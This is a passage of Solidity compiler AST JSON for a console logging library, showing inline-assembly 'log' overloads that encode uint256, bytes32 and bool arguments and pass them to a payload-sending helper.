:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"276535:2:22","nodeType":"YulIdentifier","src":"276535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276522:6:22","nodeType":"YulIdentifier","src":"276522:6:22"},"nativeSrc":"276522:16:22","nodeType":"YulFunctionCall","src":"276522:16:22"},"nativeSrc":"276522:16:22","nodeType":"YulExpressionStatement","src":"276522:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276558:4:22","nodeType":"YulLiteral","src":"276558:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"276564:2:22","nodeType":"YulIdentifier","src":"276564:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276551:6:22","nodeType":"YulIdentifier","src":"276551:6:22"},"nativeSrc":"276551:16:22","nodeType":"YulFunctionCall","src":"276551:16:22"},"nativeSrc":"276551:16:22","nodeType":"YulExpressionStatement","src":"276551:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"276587:4:22","nodeType":"YulLiteral","src":"276587:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"276593:2:22","nodeType":"YulIdentifier","src":"276593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"276580:6:22","nodeType":"YulIdentifier","src":"276580:6:22"},"nativeSrc":"276580:16:22","nodeType":"YulFunctionCall","src":"276580:16:22"},"nativeSrc":"276580:16:22","nodeType":"YulExpressionStatement","src":"276580:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42936,"isOffset":false,"isSlot":false,"src":"276419:2:22","valueSize":1},{"declaration":42939,"isOffset":false,"isSlot":false,"src":"276448:2:22","valueSize":1},{"declaration":42942,"isOffset":false,"isSlot":false,"src":"276477:2:22","valueSize":1},{"declaration":42945,"isOffset":false,"isSlot":false,"src":"276506:2:22","valueSize":1},{"declaration":42948,"isOffset":false,"isSlot":false,"src":"276535:2:22","valueSize":1},{"declaration":42951,"isOffset":false,"isSlot":false,"src":"276564:2:22","valueSize":1},{"declaration":42954,"isOffset":false,"isSlot":false,"src":"276593:2:22","valueSize":1}],"id":42962,"nodeType":"InlineAssembly","src":"276383:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"275287:3:22","parameters":{"id":42933,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42926,"mutability":"mutable","name":"p0","nameLocation":"275299:2:22","nodeType":"VariableDeclaration","scope":42964,"src":"275291:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42925,"name":"uint256","nodeType":"ElementaryTypeName","src":"275291:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42928,"mutability":"mutable","name":"p1","nameLocation":"275311:2:22","nodeType":"VariableDeclaration","scope":42964,"src":"275303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42927,"name":"uint256","nodeType":"ElementaryTypeName","src":"275303:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42930,"mutability":"mutable","name":"p2","nameLocation":"275323:2:22","nodeType":"VariableDeclaration","scope":42964,"src":"275315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42929,"name":"bytes32","nodeType":"ElementaryTypeName","src":"275315:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42932,"mutability":"mutable","name":"p3","nameLocation":"275332:2:22","nodeType":"VariableDeclaration","scope":42964,"src":"275327:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42931,"name":"bool","nodeType":"ElementaryTypeName","src":"275327:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"275290:45:22"},"returnParameters":{"id":42934,"nodeType":"ParameterList","parameters":[],"src":"275350:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43004,"nodeType":"FunctionDefinition","src":"276618:1340:22","nodes":[],"body":{"id":43003,"nodeType":"Block","src":"276693:1265:22","nodes":[],"statements":[{"assignments":[42976],"declarations":[{"constant":false,"id":42976,"mutability":"mutable","name":"m0","nameLocation":"276711:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276703:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276703:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42977,"nodeType":"VariableDeclarationStatement","src":"276703:10:22"},{"assignments":[42979],"declarations":[{"constant":false,"id":42979,"mutability":"mutable","name":"m1","nameLocation":"276731:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42978,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42980,"nodeType":"VariableDeclarationStatement","src":"276723:10:22"},{"assignments":[42982],"declarations":[{"constant":false,"id":42982,"mutability":"mutable","name":"m2","nameLocation":"276751:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42981,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42983,"nodeType":"VariableDeclarationStatement","src":"276743:10:22"},{"assignments":[42985],"declarations":[{"constant":false,"id":42985,"mutability":"mutable","name":"m3","nameLocation":"276771:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42984,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42986,"nodeType":"VariableDeclarationStatement","src":"276763:10:22"},{"assignments":[42988],"declarations":[{"constant":false,"id":42988,"mutability":"mutable","name":"m4","nameLocation":"276791:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42987,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42989,"nodeType":"VariableDeclarationStatement","src":"276783:10:22"},{"assignments":[42991],"declarations":[{"constant":false,"id":42991,"mutability":"mutable","name":"m5","nameLocation":"276811:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276803:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42990,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276803:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42992,"nodeType":"VariableDeclarationStatement","src":"276803:10:22"},{"assignments":[42994],"declarations":[{"constant":false,"id":42994,"mutability":"mutable","name":"m6","nameLocation":"276831:2:22","nodeType":"VariableDeclaration","scope":43003,"src":"276823:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42993,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276823:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42995,"nodeType":"VariableDeclarationStatement","src":"276823:10:22"},{"AST":{"nativeSrc":"276852:831:22","nodeType":"YulBlock","src":"276852:831:22","statements":[{"body":{"nativeSrc":"276895:313:22","nodeType":"YulBlock","src":"276895:313:22","statements":[{"nativeSrc":"276913:15:22","nodeType":"YulVariableDeclaration","src":"276913:15:22","value":{"kind":"number","nativeSrc":"276927:1:22","nodeType":"YulLiteral","src":"276927:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"276917:6:22","nodeType":"YulTypedName","src":"276917:6:22","type":""}]},{"body":{"nativeSrc":"276998:40:22","nodeType":"YulBlock","src":"276998:40:22","statements":[{"body":{"nativeSrc":"277027:9:22","nodeType":"YulBlock","src":"277027:9:22","statements":[{"nativeSrc":"277029:5:22","nodeType":"YulBreak","src":"277029:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"277015:6:22","nodeType":"YulIdentifier","src":"277015:6:22"},{"name":"w","nativeSrc":"277023:1:22","nodeType":"YulIdentifier","src":"277023:1:22"}],"functionName":{"name":"byte","nativeSrc":"277010:4:22","nodeType":"YulIdentifier","src":"277010:4:22"},"nativeSrc":"277010:15:22","nodeType":"YulFunctionCall","src":"277010:15:22"}],"functionName":{"name":"iszero","nativeSrc":"277003:6:22","nodeType":"YulIdentifier","src":"277003:6:22"},"nativeSrc":"277003:23:22","nodeType":"YulFunctionCall","src":"277003:23:22"},"nativeSrc":"277000:36:22","nodeType":"YulIf","src":"277000:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"276955:6:22","nodeType":"YulIdentifier","src":"276955:6:22"},{"kind":"number","nativeSrc":"276963:4:22","nodeType":"YulLiteral","src":"276963:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"276952:2:22","nodeType":"YulIdentifier","src":"276952:2:22"},"nativeSrc":"276952:16:22","nodeType":"YulFunctionCall","src":"276952:16:22"},"nativeSrc":"276945:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"276969:28:22","nodeType":"YulBlock","src":"276969:28:22","statements":[{"nativeSrc":"276971:24:22","nodeType":"YulAssignment","src":"276971:24:22","value":{"arguments":[{"name":"length","nativeSrc":"276985:6:22","nodeType":"YulIdentifier","src":"276985:6:22"},{"kind":"number","nativeSrc":"276993:1:22","nodeType":"YulLiteral","src":"276993:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"276981:3:22","nodeType":"YulIdentifier","src":"276981:3:22"},"nativeSrc":"276981:14:22","nodeType":"YulFunctionCall","src":"276981:14:22"},"variableNames":[{"name":"length","nativeSrc":"276971:6:22","nodeType":"YulIdentifier","src":"276971:6:22"}]}]},"pre":{"nativeSrc":"276949:2:22","nodeType":"YulBlock","src":"276949:2:22","statements":[]},"src":"276945:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"277062:3:22","nodeType":"YulIdentifier","src":"277062:3:22"},{"name":"length","nativeSrc":"277067:6:22","nodeType":"YulIdentifier","src":"277067:6:22"}],"functionName":{"name":"mstore","nativeSrc":"277055:6:22","nodeType":"YulIdentifier","src":"277055:6:22"},"nativeSrc":"277055:19:22","nodeType":"YulFunctionCall","src":"277055:19:22"},"nativeSrc":"277055:19:22","nodeType":"YulExpressionStatement","src":"277055:19:22"},{"nativeSrc":"277091:37:22","nodeType":"YulVariableDeclaration","src":"277091:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"277108:3:22","nodeType":"YulLiteral","src":"277108:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"277117:1:22","nodeType":"YulLiteral","src":"277117:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"277120:6:22","nodeType":"YulIdentifier","src":"277120:6:22"}],"functionName":{"name":"shl","nativeSrc":"277113:3:22","nodeType":"YulIdentifier","src":"277113:3:22"},"nativeSrc":"277113:14:22","nodeType":"YulFunctionCall","src":"277113:14:22"}],"functionName":{"name":"sub","nativeSrc":"277104:3:22","nodeType":"YulIdentifier","src":"277104:3:22"},"nativeSrc":"277104:24:22","nodeType":"YulFunctionCall","src":"277104:24:22"},"variables":[{"name":"shift","nativeSrc":"277095:5:22","nodeType":"YulTypedName","src":"277095:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"277156:3:22","nodeType":"YulIdentifier","src":"277156:3:22"},{"kind":"number","nativeSrc":"277161:4:22","nodeType":"YulLiteral","src":"277161:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"277152:3:22","nodeType":"YulIdentifier","src":"277152:3:22"},"nativeSrc":"277152:14:22","nodeType":"YulFunctionCall","src":"277152:14:22"},{"arguments":[{"name":"shift","nativeSrc":"277172:5:22","nodeType":"YulIdentifier","src":"277172:5:22"},{"arguments":[{"name":"shift","nativeSrc":"277183:5:22","nodeType":"YulIdentifier","src":"277183:5:22"},{"name":"w","nativeSrc":"277190:1:22","nodeType":"YulIdentifier","src":"277190:1:22"}],"functionName":{"name":"shr","nativeSrc":"277179:3:22","nodeType":"YulIdentifier","src":"277179:3:22"},"nativeSrc":"277179:13:22","nodeType":"YulFunctionCall","src":"277179:13:22"}],"functionName":{"name":"shl","nativeSrc":"277168:3:22","nodeType":"YulIdentifier","src":"277168:3:22"},"nativeSrc":"277168:25:22","nodeType":"YulFunctionCall","src":"277168:25:22"}],"functionName":{"name":"mstore","nativeSrc":"277145:6:22","nodeType":"YulIdentifier","src":"277145:6:22"},"nativeSrc":"277145:49:22","nodeType":"YulFunctionCall","src":"277145:49:22"},"nativeSrc":"277145:49:22","nodeType":"YulExpressionStatement","src":"277145:49:22"}]},"name":"writeString","nativeSrc":"276866:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"276887:3:22","nodeType":"YulTypedName","src":"276887:3:22","type":""},{"name":"w","nativeSrc":"276892:1:22","nodeType":"YulTypedName","src":"276892:1:22","type":""}],"src":"276866:342:22"},{"nativeSrc":"277221:17:22","nodeType":"YulAssignment","src":"277221:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277233:4:22","nodeType":"YulLiteral","src":"277233:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"277227:5:22","nodeType":"YulIdentifier","src":"277227:5:22"},"nativeSrc":"277227:11:22","nodeType":"YulFunctionCall","src":"277227:11:22"},"variableNames":[{"name":"m0","nativeSrc":"277221:2:22","nodeType":"YulIdentifier","src":"277221:2:22"}]},{"nativeSrc":"277251:17:22","nodeType":"YulAssignment","src":"277251:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277263:4:22","nodeType":"YulLiteral","src":"277263:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"277257:5:22","nodeType":"YulIdentifier","src":"277257:5:22"},"nativeSrc":"277257:11:22","nodeType":"YulFunctionCall","src":"277257:11:22"},"variableNames":[{"name":"m1","nativeSrc":"277251:2:22","nodeType":"YulIdentifier","src":"277251:2:22"}]},{"nativeSrc":"277281:17:22","nodeType":"YulAssignment","src":"277281:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277293:4:22","nodeType":"YulLiteral","src":"277293:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"277287:5:22","nodeType":"YulIdentifier","src":"277287:5:22"},"nativeSrc":"277287:11:22","nodeType":"YulFunctionCall","src":"277287:11:22"},"variableNames":[{"name":"m2","nativeSrc":"277281:2:22","nodeType":"YulIdentifier","src":"277281:2:22"}]},{"nativeSrc":"277311:17:22","nodeType":"YulAssignment","src":"277311:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277323:4:22","nodeType":"YulLiteral","src":"277323:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"277317:5:22","nodeType":"YulIdentifier","src":"277317:5:22"},"nativeSrc":"277317:11:22","nodeType":"YulFunctionCall","src":"277317:11:22"},"variableNames":[{"name":"m3","nativeSrc":"277311:2:22","nodeType":"YulIdentifier","src":"277311:2:22"}]},{"nativeSrc":"277341:17:22","nodeType":"YulAssignment","src":"277341:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277353:4:22","nodeType":"YulLiteral","src":"277353:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"277347:5:22","nodeType":"YulIdentifier","src":"277347:5:22"},"nativeSrc":"277347:11:22","nodeType":"YulFunctionCall","src":"277347:11:22"},"variableNames":[{"name":"m4","nativeSrc":"277341:2:22","nodeType":"YulIdentifier","src":"277341:2:22"}]},{"nativeSrc":"277371:17:22","nodeType":"YulAssignment","src":"277371:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277383:4:22","nodeType":"YulLiteral","src":"277383:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"277377:5:22","nodeType":"YulIdentifier","src":"277377:5:22"},"nativeSrc":"277377:11:22","nodeType":"YulFunctionCall","src":"277377:11:22"},"variableNames":[{"name":"m5","nativeSrc":"277371:2:22","nodeType":"YulIdentifier","src":"277371:2:22"}]},{"nativeSrc":"277401:17:22","nodeType":"YulAssignment","src":"277401:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"277413:4:22","nodeType":"YulLiteral","src":"277413:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"277407:5:22","nodeType":"YulIdentifier","src":"277407:5:22"},"nativeSrc":"277407:11:22","nodeType":"YulFunctionCall","src":"277407:11:22"},"variableNames":[{"name":"m6","nativeSrc":"277401:2:22","nodeType":"YulIdentifier","src":"277401:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277504:4:22","nodeType":"YulLiteral","src":"277504:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"277510:10:22","nodeType":"YulLiteral","src":"277510:10:22","type":"","value":"0x5da297eb"}],"functionName":{"name":"mstore","nativeSrc":"277497:6:22","nodeType":"YulIdentifier","src":"277497:6:22"},"nativeSrc":"277497:24:22","nodeType":"YulFunctionCall","src":"277497:24:22"},"nativeSrc":"277497:24:22","nodeType":"YulExpressionStatement","src":"277497:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277541:4:22","nodeType":"YulLiteral","src":"277541:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"277547:2:22","nodeType":"YulIdentifier","src":"277547:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277534:6:22","nodeType":"YulIdentifier","src":"277534:6:22"},"nativeSrc":"277534:16:22","nodeType":"YulFunctionCall","src":"277534:16:22"},"nativeSrc":"277534:16:22","nodeType":"YulExpressionStatement","src":"277534:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277570:4:22","nodeType":"YulLiteral","src":"277570:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"277576:2:22","nodeType":"YulIdentifier","src":"277576:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277563:6:22","nodeType":"YulIdentifier","src":"277563:6:22"},"nativeSrc":"277563:16:22","nodeType":"YulFunctionCall","src":"277563:16:22"},"nativeSrc":"277563:16:22","nodeType":"YulExpressionStatement","src":"277563:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277599:4:22","nodeType":"YulLiteral","src":"277599:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"277605:4:22","nodeType":"YulLiteral","src":"277605:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"277592:6:22","nodeType":"YulIdentifier","src":"277592:6:22"},"nativeSrc":"277592:18:22","nodeType":"YulFunctionCall","src":"277592:18:22"},"nativeSrc":"277592:18:22","nodeType":"YulExpressionStatement","src":"277592:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277630:4:22","nodeType":"YulLiteral","src":"277630:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"277636:2:22","nodeType":"YulIdentifier","src":"277636:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277623:6:22","nodeType":"YulIdentifier","src":"277623:6:22"},"nativeSrc":"277623:16:22","nodeType":"YulFunctionCall","src":"277623:16:22"},"nativeSrc":"277623:16:22","nodeType":"YulExpressionStatement","src":"277623:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277664:4:22","nodeType":"YulLiteral","src":"277664:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"277670:2:22","nodeType":"YulIdentifier","src":"277670:2:22"}],"functionName":{"name":"writeString","nativeSrc":"277652:11:22","nodeType":"YulIdentifier","src":"277652:11:22"},"nativeSrc":"277652:21:22","nodeType":"YulFunctionCall","src":"277652:21:22"},"nativeSrc":"277652:21:22","nodeType":"YulExpressionStatement","src":"277652:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42976,"isOffset":false,"isSlot":false,"src":"277221:2:22","valueSize":1},{"declaration":42979,"isOffset":false,"isSlot":false,"src":"277251:2:22","valueSize":1},{"declaration":42982,"isOffset":false,"isSlot":false,"src":"277281:2:22","valueSize":1},{"declaration":42985,"isOffset":false,"isSlot":false,"src":"277311:2:22","valueSize":1},{"declaration":42988,"isOffset":false,"isSlot":false,"src":"277341:2:22","valueSize":1},{"declaration":42991,"isOffset":false,"isSlot":false,"src":"277371:2:22","valueSize":1},{"declaration":42994,"isOffset":false,"isSlot":false,"src":"277401:2:22","valueSize":1},{"declaration":42966,"isOffset":false,"isSlot":false,"src":"277547:2:22","valueSize":1},{"declaration":42968,"isOffset":false,"isSlot":false,"src":"277576:2:22","valueSize":1},{"declaration":42970,"isOffset":false,"isSlot":false,"src":"277670:2:22","valueSize":1},{"declaration":42972,"isOffset":false,"isSlot":false,"src":"277636:2:22","valueSize":1}],"id":42996,"nodeType":"InlineAssembly","src":"276843:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42998,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"277708:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42999,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"277714:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42997,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"277692:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"277692:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43001,"nodeType":"ExpressionStatement","src":"277692:27:22"},{"AST":{"nativeSrc":"277738:214:22","nodeType":"YulBlock","src":"277738:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"277759:4:22","nodeType":"YulLiteral","src":"277759:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"277765:2:22","nodeType":"YulIdentifier","src":"277765:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277752:6:22","nodeType":"YulIdentifier","src":"277752:6:22"},"nativeSrc":"277752:16:22","nodeType":"YulFunctionCall","src":"277752:16:22"},"nativeSrc":"277752:16:22","nodeType":"YulExpressionStatement","src":"277752:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277788:4:22","nodeType":"YulLiteral","src":"277788:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"277794:2:22","nodeType":"YulIdentifier","src":"277794:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277781:6:22","nodeType":"YulIdentifier","src":"277781:6:22"},"nativeSrc":"277781:16:22","nodeType":"YulFunctionCall","src":"277781:16:22"},"nativeSrc":"277781:16:22","nodeType":"YulExpressionStatement","src":"277781:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277817:4:22","nodeType":"YulLiteral","src":"277817:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"277823:2:22","nodeType":"YulIdentifier","src":"277823:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277810:6:22","nodeType":"YulIdentifier","src":"277810:6:22"},"nativeSrc":"277810:16:22","nodeType":"YulFunctionCall","src":"277810:16:22"},"nativeSrc":"277810:16:22","nodeType":"YulExpressionStatement","src":"277810:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277846:4:22","nodeType":"YulLiteral","src":"277846:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"277852:2:22","nodeType":"YulIdentifier","src":"277852:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277839:6:22","nodeType":"YulIdentifier","src":"277839:6:22"},"nativeSrc":"277839:16:22","nodeType":"YulFunctionCall","src":"277839:16:22"},"nativeSrc":"277839:16:22","nodeType":"YulExpressionStatement","src":"277839:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277875:4:22","nodeType":"YulLiteral","src":"277875:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"277881:2:22","nodeType":"YulIdentifier","src":"277881:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277868:6:22","nodeType":"YulIdentifier","src":"277868:6:22"},"nativeSrc":"277868:16:22","nodeType":"YulFunctionCall","src":"277868:16:22"},"nativeSrc":"277868:16:22","nodeType":"YulExpressionStatement","src":"277868:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277904:4:22","nodeType":"YulLiteral","src":"277904:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"277910:2:22","nodeType":"YulIdentifier","src":"277910:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277897:6:22","nodeType":"YulIdentifier","src":"277897:6:22"},"nativeSrc":"277897:16:22","nodeType":"YulFunctionCall","src":"277897:16:22"},"nativeSrc":"277897:16:22","nodeType":"YulExpressionStatement","src":"277897:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"277933:4:22","nodeType":"YulLiteral","src":"277933:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"277939:2:22","nodeType":"YulIdentifier","src":"277939:2:22"}],"functionName":{"name":"mstore","nativeSrc":"277926:6:22","nodeType":"YulIdentifier","src":"277926:6:22"},"nativeSrc":"277926:16:22","nodeType":"YulFunctionCall","src":"277926:16:22"},"nativeSrc":"277926:16:22","nodeType":"YulExpressionStatement","src":"277926:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42976,"isOffset":false,"isSlot":false,"src":"277765:2:22","valueSize":1},{"declaration":42979,"isOffset":false,"isSlot":false,"src":"277794:2:22","valueSize":1},{"declaration":42982,"isOffset":false,"isSlot":false,"src":"277823:2:22","valueSize":1},{"declaration":42985,"isOffset":false,"isSlot":false,"src":"277852:2:22","valueSize":1},{"declaration":42988,"isOffset":false,"isSlot":false,"src":"277881:2:22","valueSize":1},{"declaration":42991,"isOffset":false,"isSlot":false,"src":"277910:2:22","valueSize":1},{"declaration":42994,"isOffset":false,"isSlot":false,"src":"277939:2:22","valueSize":1}],"id":43002,"nodeType":"InlineAssembly","src":"277729:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"276627:3:22","parameters":{"id":42973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42966,"mutability":"mutable","name":"p0","nameLocation":"276639:2:22","nodeType":"VariableDeclaration","scope":43004,"src":"276631:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42965,"name":"uint256","nodeType":"ElementaryTypeName","src":"276631:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42968,"mutability":"mutable","name":"p1","nameLocation":"276651:2:22","nodeType":"VariableDeclaration","scope":43004,"src":"276643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42967,"name":"uint256","nodeType":"ElementaryTypeName","src":"276643:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42970,"mutability":"mutable","name":"p2","nameLocation":"276663:2:22","nodeType":"VariableDeclaration","scope":43004,"src":"276655:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42969,"name":"bytes32","nodeType":"ElementaryTypeName","src":"276655:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42972,"mutability":"mutable","name":"p3","nameLocation":"276675:2:22","nodeType":"VariableDeclaration","scope":43004,"src":"276667:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42971,"name":"uint256","nodeType":"ElementaryTypeName","src":"276667:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"276630:48:22"},"returnParameters":{"id":42974,"nodeType":"ParameterList","parameters":[],"src":"276693:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43050,"nodeType":"FunctionDefinition","src":"277964:1536:22","nodes"